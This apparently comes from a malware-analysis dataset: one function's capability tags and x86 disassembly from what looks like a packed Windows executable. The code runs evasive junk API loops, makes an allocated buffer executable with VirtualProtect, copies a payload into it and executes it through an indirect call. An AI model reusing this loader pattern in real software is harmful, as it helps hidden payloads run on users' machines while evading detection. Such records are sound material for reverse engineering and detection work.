Function at 0x401534
Capabilities:
Allocate or change rwx memory
Delete directory
Execute shellcode via indirect call
Get disk information
Get hostname
Read file on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x150c
call fcn.0040d320
push ebx
push esi
xor ebx, ebx
push edi
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
mov esi, ebx
push ebx
call edi
cmp esi, 0x207138
jg 0x401562
inc esi
cmp esi, 0x4f672
jl 0x40154e
mov ecx, dword [0x48e088]
cmp ecx, 0x93
je 0x401761
mov eax, dword [0x41a3d0]
add ecx, 0x1134b
push ecx
push ebx
mov dword [0x48e08c], eax
mov dword [0x48e088], ecx
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
lea ecx, [ebp - 8]
mov dword [0x48db14], eax
push ecx
push 0x40
push dword [0x48e088]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov esi, 0x14b002e
push ebx
push ebx
call dword [sym.imp.USER32.dll_GetMenuItemID]
push ebx
call edi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
dec esi
jne 0x4015af
mov edx, dword [0x48e088]
mov esi, ebx
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test edx, edx
je 0x40164b
mov eax, dword [0x48e08c]
mov cl, byte [eax + esi + 0x1134b]
mov eax, dword [0x48db14]
mov byte [eax + esi], cl
cmp edx, 0x490
jne 0x401646
push 0
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
push 0
push str.keyamixemeligowejokawe_pidoterulimicu
call dword [sym.imp.KERNEL32.dll_IsBadStringPtrA]
push str.vimidago
call ebx
push 0
lea eax, [ebp - 0x908]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 4]
push eax
push 0
lea eax, [ebp - 0x1508]
push eax
push str.kayofumecezidacedukurevumak
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_PurgeComm]
mov edx, dword [0x48e088]
inc esi
cmp esi, edx
jb 0x4015d5
xor esi, esi
lea eax, [edx + esi]
cmp eax, 0x8d
jne 0x401695
push str.jijuvedobijawirod_cexolumaniyejavahafoki_tifasupuc_nap_wiyeguxebowejuxivolopiyezeyonif
push 0
call dword [sym.imp.KERNEL32.dll_SetComputerNameExW]
xor ecx, ecx
lea eax, [ebp - 4]
push ecx
push eax
push ecx
push ecx
push ecx
call dword [sym.imp.KERNEL32.dll_WriteConsoleA]
push 0
push 0
push str.fecuxozovo
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
xor eax, eax
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasA]
mov edx, dword [0x48e088]
inc esi
cmp esi, 0x38681
jl 0x40164d
push ecx
call fcn.004014f1
xor esi, esi
push 0
call edi
cmp esi, 0x62
jne 0x4016b4
call fcn.00401518
inc esi
cmp esi, 0x674db
jl 0x4016a6
push 0x7b
pop esi
cmp dword [0x48e088], 0x86
jne 0x40172b
xor eax, eax
lea edi, [ebp - 0x36]
mov word [ebp - 0x38], ax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
xor eax, eax
mov word [ebp - 0x28], ax
lea edi, [ebp - 0x26]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_SystemTimeToTzSpecificLocalTime]
xor edi, edi
lea eax, [ebp - 0x10]
push edi
push eax
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_WriteConsoleW]
lea eax, [ebp - 0x54]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_BuildCommDCBA]
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0xd08]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
jmp 0x40172d
xor edi, edi
cmp dword [0x48e088], 0xf
jne 0x401740
push edi
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateEventW]
dec esi
jne 0x4016c0
push str.msimg32.dll
call ebx
mov eax, dword [0x48db14]
mov dword [0x48e07c], eax
call eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push ebx
push ebx
call dword [sym.imp.USER32.dll_ChangeDisplaySettingsW]
push str.tajek
push ebx
xor eax, eax
push ebx
push ebx
btr dword [eax], 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
push dword [ebp - 8]
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.MSIMG32.dll_AlphaBlend]
push ebx
push ebx
call dword [sym.imp.ole32.dll_CoMarshalHresult]
push 0x417754
push ebx
call fcn.0040351c
push ebx
call fcn.004029b6
push ebx
push ebx
push ebx
push ebx
call fcn.004036f6
add esp, 0x1c
push ebx
call fcn.00403e27
int3